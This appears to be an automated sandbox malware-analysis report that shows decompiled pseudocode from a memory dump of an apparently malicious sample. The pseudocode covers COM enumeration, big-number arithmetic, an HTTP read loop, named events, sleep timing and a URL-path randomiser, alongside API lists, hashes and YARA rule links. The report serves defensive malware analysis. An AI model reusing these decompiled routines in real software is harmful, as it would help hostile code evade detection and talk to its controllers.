				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr _t78;
				intOrPtr* _t82;
				intOrPtr* _t86;
				intOrPtr _t102;
				intOrPtr _t108;
				void* _t117;
				void* _t121;
				void* _t122;
				intOrPtr _t129;

				_t122 = _t121 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t117 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t117 >= 0) {
					_t54 = _v8;
					_t102 =  *0x33da2d0; // 0x266d5a8
					_t5 = _t102 + 0x33db038; // 0x3050f485
					_t117 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t117 >= 0) {
						__imp__#2(0x33d92d0);
						_v28 = _t57;
						if(_t57 == 0) {
							_t117 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t86 = __imp__#6;
							_t117 = _t61;
							if(_t117 >= 0) {
								_t63 = _v24;
								_t117 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t117 >= 0) {
									_t129 = _v20;
									if(_t129 != 0) {
										_v64 = 3;
										_v48 = 3;
										_v56 = 0;
										_v40 = 0;
										if(_t129 > 0) {
											while(1) {
												_t67 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t122 = _t122;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t117 =  *((intOrPtr*)( *_t67 + 0x2c))(_t67,  &_v8);
												if(_t117 < 0) {
													goto L16;
												}
												_t69 = _v8;
												_t108 =  *0x33da2d0; // 0x266d5a8
												_t28 = _t108 + 0x33db0bc; // 0x3050f1ff
												_t117 =  *((intOrPtr*)( *_t69))(_t69, _t28,  &_v16);
												if(_t117 >= 0) {
													_t74 = _v16;
													_t117 =  *((intOrPtr*)( *_t74 + 0x34))(_t74,  &_v12);
													if(_t117 >= 0 && _v12 != 0) {
														_t78 =  *0x33da2d0; // 0x266d5a8
														_t33 = _t78 + 0x33db078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t82 = _v16;
															 *((intOrPtr*)( *_t82 + 0x114))(_t82);
														}
														 *_t86(_v12);
													}
													_t76 = _v16;
													 *((intOrPtr*)( *_t76 + 8))(_t76);
												}
												_t71 = _v8;
												 *((intOrPtr*)( *_t71 + 8))(_t71);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t86(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t117;
			}

0x033d13b9
0x033d13c2
0x033d13c3
0x033d13c7
0x033d13cd
0x033d13d3
0x033d13dc
0x033d13e2
0x033d13ec
0x033d13ee
0x033d13f4
0x033d13f9
0x033d1404
0x033d140c
0x033d140f
0x033d1532
0x033d1415
0x033d1415
0x033d1422
0x033d1428
0x033d142e
0x033d1432
0x033d1438
0x033d1445
0x033d1449
0x033d144f
0x033d1452
0x033d1458
0x033d145e
0x033d1464
0x033d1467
0x033d146a
0x033d1470
0x033d1479
0x033d147f
0x033d1480
0x033d1483
0x033d1484
0x033d1485
0x033d148d
0x033d148e
0x033d148f
0x033d1491
0x033d1495
0x033d1499
0x00000000
0x00000000
0x033d149f
0x033d14a8
0x033d14ae
0x033d14b8
0x033d14bc
0x033d14be
0x033d14cb
0x033d14cf
0x033d14d7
0x033d14dc
0x033d14ee
0x033d14f0
0x033d14f6
0x033d14f6
0x033d14ff
0x033d14ff
0x033d1501
0x033d1507
0x033d1507
0x033d150a
0x033d1510
0x033d1513
0x033d151c
0x00000000
0x00000000
0x00000000
0x033d151c
0x033d1470
0x033d146a
0x033d1452
0x033d1522
0x033d1522
0x033d1528
0x033d1528
0x033d152e
0x033d152e
0x033d1537
0x033d153d
0x033d153d
0x033d13f9
0x033d1546

APIs

SysAllocString.OLEAUT32(033D92D0), ref: 033D1404
lstrcmpW.KERNEL32(00000000,0076006F), ref: 033D14E6
SysFreeString.OLEAUT32(00000000), ref: 033D14FF
SysFreeString.OLEAUT32(?), ref: 033D152E

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloclstrcmp
String ID:
API String ID: 1885612795-0
Opcode ID: f26bf3ab9a4dea3d089224e24614037af807d98dd24f024a9d3222fffa735de9
Instruction ID: 72a8dfa8547cbf2b31393aadbc861257365feca824eecdb831b034f22ffdfe7f
Opcode Fuzzy Hash: f26bf3ab9a4dea3d089224e24614037af807d98dd24f024a9d3222fffa735de9
Instruction Fuzzy Hash: 6F511C76D00509DFCB00DBA8E8C89AEF7BAFF89705B144594E916EB314D7369D41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 033D1E91, Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E033D1E91(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v156;
				void _v428;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E033D5278(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E033D2399(_t79,  &_v428);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0x1a8)) = E033D3C32(_t101,  &_v428, _a8, _t96 - _t81);
					E033D3C32(_t79,  &_v156, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x9c));
					_t66 = E033D2399(_t101,  &E033DA188);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E033D2399(_a16, _a4);
						E033D114C(_t79,  &_v428, _a4, _t97);
						memset( &_v428, 0, 0x10c);
						_t55 = memset( &_v156, 0, 0x84);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0x1a8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L033D7F56();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L033D7F50();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0x1a8;
						_a12 = _t74;
						_t76 = E033D5381(_t79,  &_v156, _t92, _t107 + _a8 * 4 - 0x1a8, _t107 + _a8 * 4 - 0x1a8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v156;
							if(E033D45B4(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E033D5936(_t79,  &_v156, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(_a8 * 4 +  &E033DA188) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x033d1e94
0x033d1ea0
0x033d1ea6
0x033d1eab
0x033d1eaf
0x033d2021
0x033d2025
0x033d2025
0x033d1eb5
0x033d1eb9
0x033d1ebf
0x033d1ec0
0x033d1ecb
0x033d1ed1
0x033d1ed6
0x033d1ed9
0x033d1ef3
0x033d1f02
0x033d1f0e
0x033d1f18
0x033d1f1d
0x033d1f1f
0x033d1f22
0x033d1fd9
0x033d1fdf
0x033d1ff0
0x033d2003
0x033d2019
0x00000000
0x033d201e
0x033d1f2b
0x033d1f32
0x033d1f36
0x033d1f3c
0x033d1f3e
0x033d1f40
0x033d1f42
0x033d1f44
0x033d1f4e
0x033d1f53
0x033d1f55
0x033d1f57
0x033d1f58
0x033d1f59
0x033d1f5a
0x033d1f61
0x033d1f68
0x033d1f6b
0x033d1f6b
0x033d1f38
0x033d1f38
0x033d1f38
0x033d1f73
0x033d1f7b
0x033d1f87
0x033d1f8c
0x033d1f8c
0x033d1f91
0x00000000
0x00000000
0x033d1f93
0x033d1f96
0x033d1fa3
0x00000000
0x00000000
0x033d1fa5
0x033d1fa5
0x033d1fb2
0x033d1f8c
0x033d1f91
0x00000000
0x00000000
0x00000000
0x033d1f91
0x033d1fbc
0x033d1fbf
0x033d1fc2
0x033d1fc9
0x033d1fc9
0x033d1fd6
0x00000000
0x033d1fd6
0x033d1ec2
0x033d1ec6
0x033d1ec7
0x033d1ec9
0x00000000
0x00000000
0x00000000
0x033d1ec9
0x00000000

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 033D1F44
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 033D1F5A
memset.NTDLL ref: 033D2003
memset.NTDLL ref: 033D2019

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
Opcode ID: 287d514adb3e237cb76c518e2c70a5181a88fc8148fbc96e550ec02ecb88cf48
Instruction ID: 77c592235670d71721132c2249bc3068326db411099bcf96fdbcc4dd7cd20bc1
Opcode Fuzzy Hash: 287d514adb3e237cb76c518e2c70a5181a88fc8148fbc96e550ec02ecb88cf48
Instruction Fuzzy Hash: 00419176E00219AFDB10DF68ECC0BEE7779EF46310F004669F819AB281DB709E548B81

Uniqueness

Uniqueness Score: -1.00%

Function 033D467C, Relevance: 6.1, APIs: 4, Instructions: 108
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E033D467C(void* __eax) {
				long _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				void* _v24;
				void* __esi;
				char* _t40;
				long _t41;
				intOrPtr _t45;
				intOrPtr* _t46;
				char _t48;
				char* _t53;
				long _t54;
				intOrPtr* _t55;
				void* _t64;

				_t64 = __eax;
				_t40 =  &_v12;
				_v8 = 0;
				_v16 = 0;
				__imp__( *((intOrPtr*)(__eax + 0x18)), _t40);
				if(_t40 == 0) {
					_t41 = GetLastError();
					_v8 = _t41;
					if(_t41 != 0x2efe) {
						L26:
						return _v8;
					}
					_v8 = 0;
					L25:
					 *((intOrPtr*)(_t64 + 0x30)) = 0;
					goto L26;
				}
				if(_v12 == 0) {
					goto L25;
				}
				_push( &_v24);
				_push(1);
				_push(0);
				if( *0x33da148() != 0) {
					_v8 = 8;
					goto L26;
				}
				_t45 = E033D5C4E(0x1000);
				_v20 = _t45;
				if(_t45 == 0) {
					_v8 = 8;
					L21:
					_t46 = _v24;
					 *((intOrPtr*)( *_t46 + 8))(_t46);
					goto L26;
				} else {
					goto L4;
				}
				do {
					while(1) {
						L4:
						_t48 = _v12;
						if(_t48 >= 0x1000) {
							_t48 = 0x1000;
						}
						__imp__( *((intOrPtr*)(_t64 + 0x18)), _v20, _t48,  &_v16);
						if(_t48 == 0) {
							break;
						}
						_t55 = _v24;
						 *((intOrPtr*)( *_t55 + 0x10))(_t55, _v20, _v16, 0);
						_t17 =  &_v12;
						 *_t17 = _v12 - _v16;
						if( *_t17 != 0) {
							continue;
						}
						L10:
						if(WaitForSingleObject( *0x33da2c4, 0) != 0x102) {
							_v8 = 0x102;
							L18:
							E033D2A03(_v20);
							if(_v8 == 0) {
								_v8 = E033D6589(_v24, _t64);
							}
							goto L21;
						}
						_t53 =  &_v12;
						__imp__( *((intOrPtr*)(_t64 + 0x18)), _t53);
						if(_t53 != 0) {
							goto L15;
						}
						_t54 = GetLastError();
						_v8 = _t54;
						if(_t54 != 0x2f78 || _v12 != 0) {
							goto L18;
						} else {
							_v8 = 0;
							goto L15;
						}
					}
					_v8 = GetLastError();
					goto L10;
					L15:
				} while (_v12 != 0);
				goto L18;
			}

0x033d4684
0x033d4687
0x033d4690
0x033d4693
0x033d4696
0x033d469e
0x033d479c
0x033d47a7
0x033d47aa
0x033d47b2
0x033d47b9
0x033d47b9
0x033d47ac
0x033d47af
0x033d47af
0x00000000
0x033d47af
0x033d46a7
0x00000000
0x00000000
0x033d46b0
0x033d46b1
0x033d46b3
0x033d46bc
0x033d4793
0x00000000
0x033d4793
0x033d46c8
0x033d46cf
0x033d46d2
0x033d4781
0x033d4788
0x033d4788
0x033d478e
0x00000000
0x00000000
0x00000000
0x00000000
0x033d46d8
0x033d46d8
0x033d46d8
0x033d46d8
0x033d46dd
0x033d46df
0x033d46df
0x033d46ec
0x033d46f4
0x00000000
0x00000000
0x033d46f6
0x033d4703
0x033d4709
0x033d4709
0x033d470c
0x00000000
0x00000000
0x033d4719
0x033d472d
0x033d4763
0x033d4766
0x033d4769
0x033d4771
0x033d477c
0x033d477c
0x00000000
0x033d4771
0x033d472f
0x033d4736
0x033d473e
0x00000000
0x00000000
0x033d4740
0x033d474b
0x033d474e
0x00000000
0x033d4755
0x033d4755
0x00000000
0x033d4755
0x033d474e
0x033d4716
0x00000000
0x033d4758
0x033d4758
0x00000000

APIs

GetLastError.KERNEL32 ref: 033D479C

Part of subcall function 033D5C4E: RtlAllocateHeap.NTDLL(00000000,00000000,033D3FAA), ref: 033D5C5A

GetLastError.KERNEL32 ref: 033D4710
WaitForSingleObject.KERNEL32(00000000), ref: 033D4720
GetLastError.KERNEL32 ref: 033D4740

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorLast$AllocateHeapObjectSingleWait
String ID:
API String ID: 35602742-0
Opcode ID: 633581b8a0f2e7c958292d1e43a93ddc835abc030687fe2682564a55fe858c92
Instruction ID: ad1f6650efa520f018af595038169ebce3a48a64b6cc58472d72504413fc2a55
Opcode Fuzzy Hash: 633581b8a0f2e7c958292d1e43a93ddc835abc030687fe2682564a55fe858c92
Instruction Fuzzy Hash: 654117B6D01209EFDF10EFA6E9C89AEBBBDFB05340F5444A9E512E6150DB309A50DB10

Uniqueness

Uniqueness Score: -1.00%

Function 033D4CD5, Relevance: 6.1, APIs: 4, Instructions: 92
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E033D4CD5(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				void* _t25;
				void* _t26;
				signed int* _t27;
				signed short* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x33da2c8; // 0xbd092303
				_t32 = _a4;
				_a4 = _t6 ^ 0xd05b5869;
				_t8 =  *0x33da2d0; // 0x266d5a8
				_t3 = _t8 + 0x33db84d; // 0x61636f4c
				_t25 = 0;
				_t30 = E033D1970(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x33da2d4, 1, 0, _t30);
					E033D2A03(_t30);
				}
				_t12 =  *0x33da2b4; // 0x4000000a
				if(_t12 != 6 || _t12 < 2) {
					if( *_t32 != 0 && E033D19E7() == 0) {
						_t28 =  *0x33da124( *_t32, 0x20);
						if(_t28 != 0) {
							 *_t28 =  *_t28 & 0x00000000;
							_t28 =  &(_t28[1]);
						}
						_t31 = E033D63CD(0, _t28,  *_t32, 0);
						if(_t31 == 0) {
							if(_t25 == 0) {
								goto L21;
							}
							_t31 = WaitForSingleObject(_t25, 0x4e20);
							if(_t31 == 0) {
								goto L19;
							}
						}
					}
					goto L11;
				} else {
					L11:
					_t27 = _a8;
					if(_t27 != 0) {
						 *_t27 =  *_t27 | 0x00000001;
					}
					_t31 = E033D7836(_t32, _t26);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t27 != 0 && _t31 != 0) {
						 *_t27 =  *_t27 & 0xfffffffe;
					}
					L19:
					if(_t25 != 0) {
						CloseHandle(_t25);
					}
					L21:
					return _t31;
				}
			}

0x033d4cd6
0x033d4cdd
0x033d4ce7
0x033d4ceb
0x033d4cf1
0x033d4cfe
0x033d4d05
0x033d4d09
0x033d4d1b
0x033d4d1d
0x033d4d1d
0x033d4d22
0x033d4d29
0x033d4d34
0x033d4d4a
0x033d4d4e
0x033d4d50
0x033d4d55
0x033d4d55
0x033d4d62
0x033d4d66
0x033d4d6a
0x00000000
0x00000000
0x033d4d78
0x033d4d7c
0x00000000
0x00000000
0x033d4d7c
0x033d4d66
0x00000000
0x033d4d7e
0x033d4d7e
0x033d4d7e
0x033d4d84
0x033d4d86
0x033d4d86
0x033d4d90
0x033d4d94
0x033d4da6
0x033d4da6
0x033d4daa
0x033d4db0
0x033d4db0
0x033d4db3
0x033d4db5
0x033d4db8
0x033d4db8
0x033d4dbf
0x033d4dc5
0x033d4dc5

APIs

Part of subcall function 033D1970: lstrlen.KERNEL32(?,00000000,00000000,00000027,E8FA7DD7,00000000,74ECC740,033D3EC5,74666F53,00000000,?,00000000,?,?,033D2F4F), ref: 033D19A6
Part of subcall function 033D1970: lstrcpy.KERNEL32(00000000,00000000), ref: 033D19CA
Part of subcall function 033D1970: lstrcat.KERNEL32(00000000,00000000), ref: 033D19D2

CreateEventA.KERNEL32(033DA2D4,00000001,00000000,00000000,61636F4C,00000001,00000000,?,?,00000000,?,033D7338,?,?,?), ref: 033D4D14

Part of subcall function 033D2A03: RtlFreeHeap.NTDLL(00000000,00000000,033D4072,00000000,?,?,00000000,?,?,?,?,?,?,033D44AE,00000000), ref: 033D2A0F

WaitForSingleObject.KERNEL32(00000000,00004E20,033D7338,00000000,?,00000000,?,033D7338,?,?,?,?,?,?,?,033D1C40), ref: 033D4D72
WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,?,?,00000000,?,033D7338,?,?,?), ref: 033D4DA0
CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,?,?,00000000,?,033D7338,?,?,?), ref: 033D4DB8

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
String ID:
API String ID: 73268831-0
Opcode ID: b8c4feca6c3a471b0dfe610a262227345ac30fa2b66d1678b10d792b0eed5cd8
Instruction ID: 122d6242c000b4657f282a0b5a266494de8842a6f9eac4acfca3aafa39ec51f2
Opcode Fuzzy Hash: b8c4feca6c3a471b0dfe610a262227345ac30fa2b66d1678b10d792b0eed5cd8
Instruction Fuzzy Hash: 6821A833A017225BD721EAAABDC4B5BB2EDAF44711F1A0225FD42DB14EDF74C8108790

Uniqueness

Uniqueness Score: -1.00%

Function 033D7289, Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E033D7289(void* __ecx, void* __eflags, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E033D2616(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t23 =  &(_t39[1]);
						if(_t39[1] != 0) {
							E033D28B8(_t23);
						}
					}
					return _t38;
				}
				if(E033D4380(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x33da2d4, 1, 0,  *0x33da394);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E033D7360(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E033D202E(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E033D3EFA(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E033D4CD5( &_v32, _t39);
					goto L13;
				}
			}

0x033d7289
0x033d7296
0x033d729c
0x033d729d
0x033d729e
0x033d729f
0x033d72a0
0x033d72a4
0x033d72b0
0x033d72b4
0x033d733c
0x033d733c
0x033d733f
0x033d7341
0x033d7349
0x033d734f
0x033d7352
0x033d7352
0x033d734f
0x033d735d
0x033d735d
0x033d72c7
0x033d72c9
0x033d72c9
0x033d72e0
0x033d72e4
0x033d72e7
0x033d72f2
0x033d72f9
0x033d72f9
0x033d7305
0x033d7306
0x033d7314
0x033d7308
0x033d7308
0x033d7309
0x033d730a
0x033d730b
0x033d730c
0x033d730d
0x033d730d
0x033d7319
0x033d731e
0x033d7320
0x033d7322
0x033d7322
0x033d7329
0x00000000
0x033d732b
0x033d732b
0x033d7338
0x00000000
0x033d7338

APIs

CreateEventA.KERNEL32(033DA2D4,00000001,00000000,00000040,?,?,7519F710,00000000,7519F730,?,?,?,?,033D1C40,?,00000001), ref: 033D72DA
SetEvent.KERNEL32(00000000,?,?,?,?,033D1C40,?,00000001,033D2F7D,00000002,?,?,033D2F7D), ref: 033D72E7
Sleep.KERNEL32(00000BB8,?,?,?,?,033D1C40,?,00000001,033D2F7D,00000002,?,?,033D2F7D), ref: 033D72F2
CloseHandle.KERNEL32(00000000,?,?,?,?,033D1C40,?,00000001,033D2F7D,00000002,?,?,033D2F7D), ref: 033D72F9

Part of subcall function 033D7360: WaitForSingleObject.KERNEL32(00000000,?,?,?,033D7319,?,033D7319,?,?,?,?,?,033D7319,?), ref: 033D743A
Part of subcall function 033D7360: RegCloseKey.ADVAPI32(?,00000104,00000000,?,?,?,?,?,033D7319,?,?,?,?,?,033D1C40,?), ref: 033D7462

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseEvent$CreateHandleObjectSingleSleepWait
String ID:
API String ID: 467273019-0
Opcode ID: 7b7d8d4150c08bb9e77b679459f132d38471fadf0f7e482945eee804abb2bffd
Instruction ID: 489c19084480620353fa82e3b393cc705d6d8497da476c615dcde26d383ec112
Opcode Fuzzy Hash: 7b7d8d4150c08bb9e77b679459f132d38471fadf0f7e482945eee804abb2bffd
Instruction Fuzzy Hash: 89219F77D00219ABCB21FFE9BCC49AEB3BDAF44250B494825EE11EB540DB74D9458BE0

Uniqueness

Uniqueness Score: -1.00%

Function 033D4138, Relevance: 6.1, APIs: 4, Instructions: 61
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E033D4138(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x33da290, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x33da2a8; // 0xfd58163f
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x33da2a8 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

0x033d4140
0x033d4143
0x033d4149
0x033d4161
0x033d4165
0x033d4168
0x033d416a
0x033d416d
0x033d416f
0x033d4172
0x033d4174
0x033d4174
0x033d4176
0x033d4181
0x033d4186
0x033d4197
0x033d419f
0x033d41a4
0x033d41a7
0x033d41aa
0x033d41ac
0x033d41b2
0x033d41b5
0x033d41b5
0x033d41b5
0x033d41c0
0x033d41c5
0x033d41cf

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,033D5B76,00000000,?,00000000,033D6301,00000000,05A49630), ref: 033D4143
RtlAllocateHeap.NTDLL(00000000,?), ref: 033D415B
memcpy.NTDLL(00000000,05A49630,-00000008,?,?,?,033D5B76,00000000,?,00000000,033D6301,00000000,05A49630), ref: 033D419F
memcpy.NTDLL(00000001,05A49630,00000001,033D6301,00000000,05A49630), ref: 033D41C0

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: f079b69d09dae5cf8a46355e6ea8eac226e1869b01dd149e1e2f45241c2c57cc
Instruction ID: c5cf5a6d363ec88c723f138a51993a8ffe2c9a507b63855cfc3a56f70193dd55
Opcode Fuzzy Hash: f079b69d09dae5cf8a46355e6ea8eac226e1869b01dd149e1e2f45241c2c57cc
Instruction Fuzzy Hash: 6C11C676A00214BFC710DB6AFDC4D9EBBAEEB95360F190266F404DB150EB759A148760

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6AE14, Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 6DD6AD6B

Part of subcall function 6DD674AB: __mtinitlocknum.LIBCMT ref: 6DD674C1
Part of subcall function 6DD674AB: __amsg_exit.LIBCMT ref: 6DD674CD

__lock.LIBCMT ref: 6DD6ADAB
___removelocaleref.LIBCMT ref: 6DD6ADBA
___freetlocinfo.LIBCMT ref: 6DD6ADD3

Part of subcall function 6DD6927A: __lock.LIBCMT ref: 6DD69298
Part of subcall function 6DD6927A: ___sbh_find_block.LIBCMT ref: 6DD692A3
Part of subcall function 6DD6927A: ___sbh_free_block.LIBCMT ref: 6DD692B2

Memory Dump Source

Source File: 00000004.00000002.507411430.000000006DD3F000.00000020.00020000.sdmp, Offset: 6DD3F000, based on PE: false

Similarity

API ID: __lock$___freetlocinfo___removelocaleref___sbh_find_block___sbh_free_block__amsg_exit__mtinitlocknum
String ID:
API String ID: 2822171422-0
Opcode ID: 877090f3caf3500b0b3c579417fe49a45abb952a03eff31c02051141d286bc53
Instruction ID: e68980b02293915194e9f340a4f626d267c6a1ab87501f1015a76db50a2f59de
Opcode Fuzzy Hash: 877090f3caf3500b0b3c579417fe49a45abb952a03eff31c02051141d286bc53
